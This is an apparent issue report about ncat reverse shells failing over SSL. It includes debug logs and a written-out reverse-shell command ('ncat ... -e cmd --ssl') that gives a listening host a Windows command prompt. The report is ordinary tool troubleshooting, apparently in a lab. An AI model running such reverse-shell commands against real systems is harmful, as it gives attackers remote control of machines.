Ncat reverse shell not working in ssl mode #1049
Description
I have ncat listening in SSL mode in my linux box.
root@sane:~/Desktop# ncat --listen 443 --ssl -vvv
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: EAF5 2302 3E13 6E17 AEA1 0AE2 9F0B 2EB8 7F63 F291
NCAT DEBUG: Initialized fdlist with 103 maxfds
Ncat: Listening on :::443
NCAT DEBUG: Added fd 3 to list, nfds 1, maxfd 3
Ncat: Listening on 0.0.0.0:443
NCAT DEBUG: Added fd 4 to list, nfds 2, maxfd 4
NCAT DEBUG: Added fd 0 to list, nfds 3, maxfd 4
NCAT DEBUG: Initialized fdlist with 100 maxfds
NCAT DEBUG: selecting, fdmax 4
I am able to connect to this port in SSL mode from my Windows box with -e cmd option to get a reverse shell and i do get the command prompt in my linux box , but as soon as i type any command, the connection closes with the highlighted statements in my Windows box.
C:\Users\Administrator>ncat 10.11.0.64 443 -e cmd -vvv --ssl
Ncat: Version 7.60 ( https://nmap.org/ncat )
NCAT DEBUG: Using trusted CA certificates from C:\Program Files\Nmap\ca-bundle.c
rt.
NCAT DEBUG: Not doing certificate verification.
libnsock nsock_iod_new2(): nsock_iod_new (IOD #1)
libnsock nsock_connect_ssl(): SSL connection requested to 10.11.0.64:443/tcp (IO
D #1) EID 9
Ncat: Subject: CN=localhost
Ncat: Issuer: CN=localhost
Ncat: SHA-1 fingerprint: 48D4 40F5 AF93 19C8 99AA 369E CE52 F9D8 9DE1 A9D4
Ncat: Certificate verification failed (self signed certificate).
libnsock nsock_trace_handler_callback(): Callback: SSL-CONNECT SUCCESS for EID 9
[10.11.0.64:443]
Ncat: SSL connection to 10.11.0.64:443.
Ncat: SHA-1 fingerprint: 48D4 40F5 AF93 19C8 99AA 369E CE52 F9D8 9DE1 A9D4
libnsock nsock_iod_new2(): nsock_iod_new (IOD #2)
NCAT DEBUG: Executing: cmd
NCAT DEBUG: Creating named pipe "\.\pipe\ncat-1404-0"
NCAT DEBUG: Register subprocess 000000E0 at index 0.
NCAT DEBUG: Unregister subprocess 000000E0 from index 0.
NCAT DEBUG: Subprocess still running, terminating it.
NCAT DEBUG: Subprocess ended with exit code 259.
NCAT DEBUG: Terminating subprocesses
NCAT DEBUG: max_index 1
But everything works fine when not in SSL mode.